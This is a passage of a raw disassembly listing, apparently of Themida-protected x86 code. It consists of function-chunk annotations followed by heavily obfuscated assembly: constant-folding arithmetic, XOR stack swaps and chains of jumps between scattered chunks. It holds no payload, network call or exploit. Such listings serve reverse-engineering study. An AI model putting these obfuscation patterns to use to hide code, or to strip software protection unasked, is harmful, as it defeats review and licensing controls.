BYTES ; FUNCTION CHUNK AT 005596F4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00559719 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0055977B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005597BB SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00559853 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00559883 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00559944 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055996C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005599B6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00559A04 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00559A24 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00559A56 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00559AB1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00559AE7 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00559B53 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00559B84 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00559BB2 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00559BF8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00559C32 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00559C5A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00559CE9 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00559D72 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00559E03 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 00559E82 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00559EB6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00559F14 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00559F52 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 00559FAF SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0055A015 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0055A03F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0055A070 SIZE 000000A9 BYTES ; FUNCTION CHUNK AT 0055A12B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055A1B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055A1D5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055A1E8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055A22B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055A289 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 0055A2ED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055A352 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055A37E SIZE 0000008B BYTES ; FUNCTION CHUNK AT 0055A467 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055A4A9 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0055A506 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055A517 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0055A556 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055A58E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055A5C8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055A60B SIZE 0000004B BYTES ; FUNCTION CHUNK AT 0055A678 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0055A724 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055A73B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055A7B0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055A7E6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0055A81F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055A87B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055A8E7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055A8FC SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0055A936 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055A966 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0055A9BA SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0055AA31 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0055AA93 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055AB2D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055AB5A SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0055AB94 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055ABB5 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0055AC11 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0055AC3E SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0055AC7B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0055ACBB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0055ACE7 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0055AD31 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055AD78 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055AD9B SIZE 00000040 BYTES ; FUNCTION CHUNK AT 0055ADF8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055AE11 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0055AE3A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055AEA6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055AEF7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055AF19 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055B028 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055B03B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055B103 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055B131 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0055B153 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0055B211 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055B23A SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0055B293 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0055B2DF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055B2FB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055B359 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055B380 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055B3C5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055B464 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0055B4ED SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055B529 SIZE 00000060 BYTES ; FUNCTION CHUNK AT 0055B5AA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055B5F5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055B610 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0055B643 SIZE 0000005C BYTES ; FUNCTION CHUNK AT 0055B6D8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055B6F4 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055B797 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055B800 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055B80E SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0055B869 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055B8E5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055B93B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055B991 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055B9AD SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0055B9EA SIZE 00000064 BYTES ; FUNCTION CHUNK AT 0055BA6F SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0055BAD6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055BB05 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055BB74 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055BBE1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055BC0D SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0055BC6C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055BC90 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0055BCDE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055BD1E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055BD86 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055BE3C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0055BE7B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055BE9D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055BEEC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055BF58 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055BF84 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055BFDA SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055C007 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0055C032 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055C067 SIZE 0000004B BYTES ; FUNCTION CHUNK AT 0055C0F4 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 0055C165 SIZE 0000006E BYTES ; FUNCTION CHUNK AT 0055C1EB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055C1FE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055C2D6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055C384 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055C3A1 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0055C434 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0055C4A8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055C560 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0055C5D9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055C647 SIZE 00000065 BYTES ; FUNCTION CHUNK AT 0055C6B2 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0055C716 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0055C75D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055C785 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055C7B0 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0055C7DD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055C82A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055C864 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0055C8BC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055C929 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0055C984 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055C9C1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0055C9FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055CA1A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055CA35 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0055CAA8 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0055CB0C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055CB44 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055CB9D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055CBBB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055CBE9 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0055CC3E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055CC69 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0055CC98 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055CCDF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055CD44 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0055CD9E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055CDE2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055CE16 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055CE46 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055CE5C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055CE8C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055CEAA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055CEC5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055CEE0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055CF17 SIZE 00000008 BYTES push ebx mov ebx, esp add ebx, 4 sub ebx, 2 xor ebx, [esp+18h+var_18] xor [esp+18h+var_18], ebx xor ebx, [esp+18h+var_18] pop esp mov word ptr [esp+14h+var_14], dx jmp loc_557B0D ; --------------------------------------------------------------------------- loc_556A8F: ; CODE XREF: sub_556A70+107Cj xor ecx, 476C35CAh jmp loc_55B028 ; --------------------------------------------------------------------------- loc_556A9A: ; CODE XREF: sub_556A70-1461j xor ecx, 36C06F2Dh and ebp, ecx pop ecx xor ebp, 759221E7h jmp loc_55A3F7 ; --------------------------------------------------------------------------- loc_556AAE: ; CODE XREF: sub_556A70-28A7j push ebp mov ebp, 7AE83367h push ebx mov ebx, 18877822h shr ebx, 2 and ebx, 7D3F47A6h jmp loc_55662E ; --------------------------------------------------------------------------- loc_556AC8: ; CODE XREF: sub_556A70-4C9Dj push ebx jmp loc_5565DD ; --------------------------------------------------------------------------- loc_556ACE: ; CODE XREF: sub_556A70+44ABj pop esi sub ebx, 4 jmp loc_554A1F ; --------------------------------------------------------------------------- loc_556AD7: ; CODE XREF: sub_556A70+61D0j dec edi or edi, 0DB91AC3h shr edi, 1 xor edi, 5A156F1Eh xor edi, 1DE9826Bh sub edx, 728E692Fh sub edx, edi add edx, 728E692Fh pop edi xchg edx, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], edx push eax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_556B09: ; CODE XREF: Themida_:0055B1B2j push esp push dword ptr [esp+0] jmp loc_553CA0 ; --------------------------------------------------------------------------- loc_556B12: ; CODE XREF: Themida_:00551ED2j mov [esp+4+var_4], ebx jmp sub_55ABA3 ; --------------------------------------------------------------------------- push [esp+4+var_4] pop ecx push edi jmp loc_553938 ; --------------------------------------------------------------------------- loc_556B24: ; CODE XREF: sub_556A70-3F29j push ebx push ebp push ebx jmp loc_55B610 ; --------------------------------------------------------------------------- loc_556B2C: ; CODE XREF: Themida_:00551F90j dec edi push edi not [esp+0Ch+var_C] pop edi jmp loc_55A9BA ; --------------------------------------------------------------------------- push [esp+8+var_8] mov eax, [esp+0Ch+var_C] add esp, 4 push eax push esp pop eax sub esp, 4 mov [esp+10h+var_10], edi jmp loc_55864F ; --------------------------------------------------------------------------- loc_556B51: ; CODE XREF: sub_556A70-1C13j pop edx jmp loc_554A8E ; --------------------------------------------------------------------------- mov ecx, [esp-1Ah+arg_14+2] push 37D0h mov [esp-16h+arg_10+2], esi mov esi, esp add esi, 4 push ebp mov ebp, 4 jmp loc_557695 ; --------------------------------------------------------------------------- loc_556B75: ; CODE XREF: sub_556A70-1432j or ecx, 3A7A1314h jmp loc_559E95 ; --------------------------------------------------------------------------- loc_556B80: ; CODE XREF: Themida_:00551EA6j mov [esp+14h+var_14], edi jmp loc_551679 ; --------------------------------------------------------------------------- loc_556B88: ; CODE XREF: Themida_:0055AC76j add esi, 2 push eax push esp pop eax push ebp mov ebp, 332071D3h xor ebp, 332071D7h add eax, ebp pop ebp sub eax, 4 push eax push [esp+1Ch+var_18] mov eax, [esp+20h+var_20] jmp loc_553D1D ; --------------------------------------------------------------------------- loc_556BB2: ; CODE XREF: Themida_:005548D9j pop esp mov [esp+1Ch+var_1C], ebx push ebp push ecx jmp loc_55CD44 ; --------------------------------------------------------------------------- loc_556BBD: ; CODE XREF: sub_556A70-2F8Bj push 4255h mov [esp-8+arg_4], ecx push small 5095h mov cx, word ptr [esp-6+arg_0+2] push esi push esp pop esi add esi, 4 add esi, 2 xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] pop esp push edi mov di, 3003h shr di, 5 sub di, 0D8AEh add di, 58D0h push bp jmp loc_555C82 ; --------------------------------------------------------------------------- loc_556BFD: ; CODE XREF: sub_556A70+47CCj push 7B76h mov [esp+4+var_4], edx push 2690h mov [esp+8+var_8], edi push 7FD32813h pop edi push ebx push 6190172Ch pop ebx shl ebx, 6 dec ebx shr ebx, 8 jmp loc_550F08 ; --------------------------------------------------------------------------- loc_556C26: ; CODE XREF: Themida_:005526A5j pop edi add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] jmp loc_555AD8 ; --------------------------------------------------------------------------- loc_556C38: ; CODE XREF: Themida_:0055CF49j add eax, 0F9D8351Ch xor ebx, eax jmp loc_557C99 ; --------------------------------------------------------------------------- loc_556C44: ; CODE XREF: Themida_:0055CCF0j push [esp+8+var_8] pop ecx jmp loc_5571B5 ; --------------------------------------------------------------------------- loc_556C4D: ; CODE XREF: sub_556A70+66Ej mov edx, [esp+8+var_8] add esp, 4 push edi jmp loc_551711 ; --------------------------------------------------------------------------- loc_556C5C: ; CODE XREF: sub_556A70-4071j add esi, 4 jmp loc_55CA35 ; --------------------------------------------------------------------------- push [esp-8+arg_4] push [esp-4+arg_0] jmp loc_55A7F1 ; --------------------------------------------------------------------------- loc_556C72: ; CODE XREF: sub_556A70+EB6j sub esp, 4 mov [esp+4+var_4], esi jmp loc_558556 ; --------------------------------------------------------------------------- loc_556C7D: ; CODE XREF: Themida_:0055381Bj push dword ptr [esp+4] pop ebp jmp loc_5557C2 ; --------------------------------------------------------------------------- loc_556C87: ; CODE XREF: sub_556A70-1FE1j mov ecx, 2 jmp loc_552B08 ; --------------------------------------------------------------------------- loc_556C91: ; CODE XREF: sub_556A70+2270j add ebx, ecx pop ecx add ebx, 4 xor ebx, [esp-8+arg_4] jmp loc_551647 ; --------------------------------------------------------------------------- loc_556CA2: ; CODE XREF: sub_556A70-5A77j xor edi, 9E54CCEAh sub ebx, edi pop edi push edi mov edi, 11594250h xor edi, 58AE124Ah sub ebx, edi pop edi jmp loc_556832 ; --------------------------------------------------------------------------- loc_556CBF: ; CODE XREF: Themida_:00555469j mov [esp+4+var_4], esi jmp loc_5550CD ; --------------------------------------------------------------------------- loc_556CC7: ; CODE XREF: sub_556A70-3E1Bj pop esp add eax, 1780CC05h xor edx, eax mov eax, [esp-4+arg_0] add esp, 4 not edx push edi mov edi, 1D090B03h xor edi, 0C9C3AFEh add edx, edi pop edi and [edi+1Ch], edx jmp loc_556538 ; --------------------------------------------------------------------------- loc_556CF1: ; CODE XREF: sub_556A70+615Ej mov ecx, 4 sub ebp, ecx pop ecx push 8C6h jmp loc_558BF3 ; --------------------------------------------------------------------------- loc_556D03: ; CODE XREF: Themida_:00556651j pop esp jmp loc_550A46 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] jmp loc_55A048 ; --------------------------------------------------------------------------- loc_556D11: ; CODE XREF: sub_5567EA+6075j pop esp jmp loc_55BF58 ; --------------------------------------------------------------------------- loc_556D17: ; CODE XREF: sub_556A70-2D7j sub edi, eax push ecx jmp loc_55CBBB ; --------------------------------------------------------------------------- loc_556D1F: ; CODE XREF: Themida_:00559233j pop edx jmp loc_555E34 ; --------------------------------------------------------------------------- loc_556D25: ; CODE XREF: Themida_:005530DEj add edx, 4 xchg edx, [esp+8+var_8] pop esp imul ecx push 5B88h mov [esp+8+var_8], edx push eax pushf jmp loc_55B103 ; --------------------------------------------------------------------------- loc_556D40: ; CODE XREF: Themida_:00553C9Bj add edx, ecx mov ecx, [esp+10h+var_10] add esp, 4 add edx, 2 xchg edx, [esp+0Ch+var_C] pop esp and word ptr [esp+8+var_8], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_556D5C: ; CODE XREF: sub_55AE68-4FD5j xor [esp+0Ch+var_8], ebp pop ebp pop ebp xor ebp, 62BF348Eh jmp loc_555CBD ; --------------------------------------------------------------------------- loc_556D6D: ; CODE XREF: sub_556A70-265Ej mov [esp+0Ah+var_C+2], ebp mov ebp, esp add ebp, 4 push ebx jmp loc_558F58 ; --------------------------------------------------------------------------- loc_556D7E: ; CODE XREF: sub_556A70-193Ej mov edx, eax mov eax, [esp-4+arg_0] jmp loc_559165 ; --------------------------------------------------------------------------- loc_556D88: ; CODE XREF: Themida_:0055C31Cj mov [esp-4+arg_0], ebx mov ebx, esp push ecx mov ecx, 4 add ebx, ecx jmp loc_55956E ; --------------------------------------------------------------------------- loc_556D9A: ; CODE XREF: sub_556A70-259Cj sub bl, 12h pop eax sub bl, 0BFh jmp loc_558A87 ; --------------------------------------------------------------------------- loc_556DA6: ; CODE XREF: sub_556A70+34EAj pop edx or eax, ecx mov ecx, [esp-1Eh+arg_18+2] add esp, 4 shr eax, 5 push edx mov edx, 1CFD16D4h or edx, 5B094E0Fh sub edx, 0F405F6FEh add eax, edx pop edx and eax, 73E44EB0h jmp loc_554A94 ; --------------------------------------------------------------------------- loc_556DD1: ; CODE XREF: sub_558D0E+2930j push esi mov esi, esp add esi, 4 jmp loc_55BCA2 ; --------------------------------------------------------------------------- loc_556DDF: ; CODE XREF: sub_55A9A4-A95j push edx mov edx, 35185BFFh sub esp, 4 mov [esp-16h+arg_10+2], edx not [esp-16h+arg_10+2] pop edx sub edx, 0CAE7A3FCh sub ecx, 6F6B1CE6h add ecx, edx jmp loc_55AE11 ; --------------------------------------------------------------------------- loc_556E05: ; CODE XREF: sub_556A70-441Aj add esp, 4 jmp loc_55A4E0 ; --------------------------------------------------------------------------- loc_556E10: ; CODE XREF: Themida_:005538EAj mov edx, 4 add ebx, edx pop edx xchg ebx, [esp-4+arg_0] pop esp push eax jmp loc_55AC11 ; --------------------------------------------------------------------------- loc_556E22: ; CODE XREF: Themida_:00558441j add esp, 4 push ecx jmp loc_556065 ; --------------------------------------------------------------------------- loc_556E2E: ; CODE XREF: Themida_:005527B9j add eax, ebp pop ebp push ebp push edx mov edx, 53176330h mov ebp, 60ACB836h sub ebp, edx pop edx shl ebp, 4 dec ebp not ebp push edx mov edx, 108D011Ch add ebp, edx jmp loc_55CDE2 ; --------------------------------------------------------------------------- loc_556E53: ; CODE XREF: sub_556A70+11A9j mov edx, eax pop eax add edx, 1 xor edx, 58752911h push edi mov edi, 28454E61h shr edi, 5 dec edi xor edi, 3F7D0E12h jmp loc_555198 ; --------------------------------------------------------------------------- loc_556E77: ; CODE XREF: Themida_:0055B9E5j xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] jmp loc_55CEC5 ; --------------------------------------------------------------------------- loc_556E85: ; CODE XREF: Themida_:0055C152j sub si, 3BF8h sub si, 0EBB0h jmp loc_55B03B ; --------------------------------------------------------------------------- loc_556E94: ; CODE XREF: Themida_:0055A7ABj push ecx mov cl, 68h push edx jmp loc_55BE7B ; --------------------------------------------------------------------------- loc_556E9D: ; CODE XREF: sub_556A70+937j push 3705h mov [esp+0Ch+var_C], ebx mov ebx, 0 jmp loc_557CCA ; --------------------------------------------------------------------------- loc_556EAF: ; CODE XREF: sub_55A748-8FC0j add esp, 4 add al, 0BFh add al, dl sub al, 0BFh pop edx jmp loc_553A57 ; --------------------------------------------------------------------------- loc_556EBE: ; CODE XREF: sub_55BDF1+920j mov [esp+4+var_4], eax jmp loc_55B831 ; --------------------------------------------------------------------------- loc_556EC6: ; CODE XREF: sub_556A70+64AAj add di, 0D827h add si, di pop edi xor si, 0FDBAh or cx, si pop esi or cx, 5311h jmp loc_5568BE ; --------------------------------------------------------------------------- loc_556EE2: ; CODE XREF: sub_55C259-430j push edi push esi mov esi, ebp mov edi, esi pop esi mov esi, edi pop edi pop ebp push 2045h mov [esp-4+arg_0], ecx push esp mov ecx, [esp+0] jmp loc_559051 ; --------------------------------------------------------------------------- loc_556EFE: ; CODE XREF: Themida_:0055BB59j sub ebx, 7C1C2B0Ch add ebx, 66070D40h add ebx, esi sub ebx, 66070D40h add ebx, 7C1C2B0Ch pop esi xchg ebx, [esp-4+arg_0] pop esp jmp loc_5555DA ; --------------------------------------------------------------------------- loc_556F22: ; CODE XREF: Themida_:0055C51Cj add edx, 8245C527h add ebx, 61004Ah add ebx, edx jmp loc_558A73 ; --------------------------------------------------------------------------- loc_556F35: ; CODE XREF: Themida_:00559967j pop ebx jmp loc_55467E ; --------------------------------------------------------------------------- loc_556F3B: ; CODE XREF: Themida_:0055B20Cj pop esi mov eax, esi pop esi sub esp, 4 mov [esp-10h+arg_C], eax pop ecx mov eax, [esp-14h+arg_10] add esp, 4 add ecx, 0F9CD283Dh xor eax, ecx mov ecx, [esp-18h+arg_14] push ebx jmp loc_55B997 ; --------------------------------------------------------------------------- loc_556F60: ; CODE XREF: sub_556A70-5693j xchg eax, [esp-14h+arg_10] pop esp push dword ptr [edi+eax*4] push ebp jmp loc_5549A6 ; --------------------------------------------------------------------------- loc_556F6D: ; CODE XREF: sub_5547A1-16EFj xor esi, [esp-10h+arg_C] pop esp push ebx mov ebx, esp add ebx, 4 jmp loc_5588F3 ; --------------------------------------------------------------------------- loc_556F7F: ; CODE XREF: sub_55A704+985j push ebx mov ebx, 4 sub esi, 239665E1h add esi, ebx add esi, 239665E1h mov ebx, [esp-0Ch+arg_8] add esp, 4 xchg esi, [esp-10h+arg_C] pop esp push 54A2h mov [esp-10h+arg_C], edi jmp loc_55A106 ; --------------------------------------------------------------------------- loc_556FAA: ; CODE XREF: sub_556A70+AA7j pop ebp push edx mov edx, 346F2A2Ah jmp loc_55C3A1 ; --------------------------------------------------------------------------- loc_556FB6: ; CODE XREF: Themida_:0055AB28j inc edx push ecx mov ecx, 3BD97D9Dh dec ecx dec ecx xor ecx, 1A334B9Fh and edx, ecx pop ecx not edx or edx, 3F907AC6h jmp loc_559F52 ; --------------------------------------------------------------------------- loc_556FD5: ; CODE XREF: sub_556A70+5F27j shr eax, 5 sub eax, 608112BAh not eax sub eax, 290A4F9h xor ebp, eax pop eax and ebx, ebp pop ebp neg ebx add ebx, 1 shl ebx, 3 sub ebx, 10538DDFh push ecx jmp loc_55B2FB ; --------------------------------------------------------------------------- loc_557001: ; CODE XREF: sub_559D5E-63AFj pop edx shr edx, 1 or edx, 76BA0103h add edx, 326B0C7Fh add edx, 4E9AB39Fh mov edi, edx pop edx jmp loc_555809 ; --------------------------------------------------------------------------- loc_55701E: ; CODE XREF: sub_556A70+AF2j mov edx, [esp-1Ch+arg_18] add esp, 4 push esi mov esi, 6D434B90h jmp loc_554E0E ; --------------------------------------------------------------------------- loc_55702F: ; CODE XREF: sub_556A70+EA9j push ebp push esp jmp loc_551A8D ; --------------------------------------------------------------------------- loc_557036: ; CODE XREF: Themida_:005512BFj sub edi, 771FFFEh add ebp, edi pop edi jmp loc_552312 ; --------------------------------------------------------------------------- loc_557044: ; CODE XREF: sub_556A70-5148j sub al, bh push edx push ecx mov ch, 3Fh neg ch shl ch, 7 add ch, 17h jmp loc_557933 ; --------------------------------------------------------------------------- loc_557057: ; CODE XREF: Themida_:0055123Fj jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55705C: ; CODE XREF: sub_556A70+4C2Aj mov ecx, esp add ecx, 4 jmp loc_555DBA ; --------------------------------------------------------------------------- loc_557069: ; CODE XREF: sub_556A70+3097j sub esi, 692C796Ch add esi, eax add esi, 692C796Ch pop eax xor esi, [esp+4+var_4] xor [esp+4+var_4], esi xor esi, [esp+4+var_4] pop esp push ebx jmp loc_555FFD ; --------------------------------------------------------------------------- loc_557088: ; CODE XREF: sub_556A70+EBEj mov eax, 4 add ecx, eax jmp loc_5513B8 ; --------------------------------------------------------------------------- loc_557094: ; CODE XREF: sub_552FCD+3j add ebp, 4 sub ebp, 4 jmp loc_5570AE ; --------------------------------------------------------------------------- loc_5570A2: ; CODE XREF: Themida_:00559ADAj and dl, 96h not dl inc dl jmp loc_559617 ; --------------------------------------------------------------------------- loc_5570AE: ; CODE XREF: sub_556A70+62Dj xchg ebp, [esp+4+var_4] pop esp mov [esp+0], ebx jmp loc_55C9C1 ; --------------------------------------------------------------------------- loc_5570BA: ; CODE XREF: Themida_:0055ADE6j pop esi xchg edx, [esp-4+arg_0] mov esp, [esp-4+arg_0] mov cx, word ptr [esp-4+arg_0] push eax push esp pop eax add eax, 4 push 6F0Eh mov [esp+4+var_4], edi jmp sub_557FA0 ; --------------------------------------------------------------------------- loc_5570DA: ; CODE XREF: Themida_:0055A4F7j pop edx push dword ptr [esp+0] jmp loc_556C4D ; --------------------------------------------------------------------------- loc_5570E3: ; CODE XREF: sub_554BBA-2390j or eax, eax jz loc_5547BE sub esp, 4 mov [esp+8+var_8], esi push ecx push esi push esp jmp loc_55593B ; --------------------------------------------------------------------------- loc_5570F9: ; CODE XREF: sub_556A70+147Ej mov [esp+14h+var_14], ecx push ebx push edi mov edi, 166170A1h and edi, 67A95C0Eh dec edi sub edi, 6214FBFh mov ebx, edi pop edi jmp loc_55BA0B ; --------------------------------------------------------------------------- lodsd xor eax, ebx push edx jmp loc_55AA3A ; --------------------------------------------------------------------------- loc_557121: ; CODE XREF: sub_556A70-2699j xor [eax], ecx pop eax mov edx, [esp+0Ah+var_C+2] jmp loc_55C8BC ; --------------------------------------------------------------------------- loc_55712C: ; CODE XREF: Themida_:00559B7Fj add edi, 1 add edi, 2C5A00F3h xor edi, 694313FFh add edx, edi jmp loc_551282 ; --------------------------------------------------------------------------- loc_557145: ; CODE XREF: sub_556A70-1252j shl ebp, 2 push edi jmp loc_55676F ; --------------------------------------------------------------------------- loc_55714E: ; CODE XREF: sub_5566B9-34B3j add esp, 4 jmp sub_557D5C ; --------------------------------------------------------------------------- loc_557159: ; CODE XREF: sub_556A70-4D1Ej push 24757219h pop eax add eax, 79C5331Dh shl eax, 4 add eax, 9B4B06D5h mov esi, eax pop eax jmp loc_55C647 ; --------------------------------------------------------------------------- 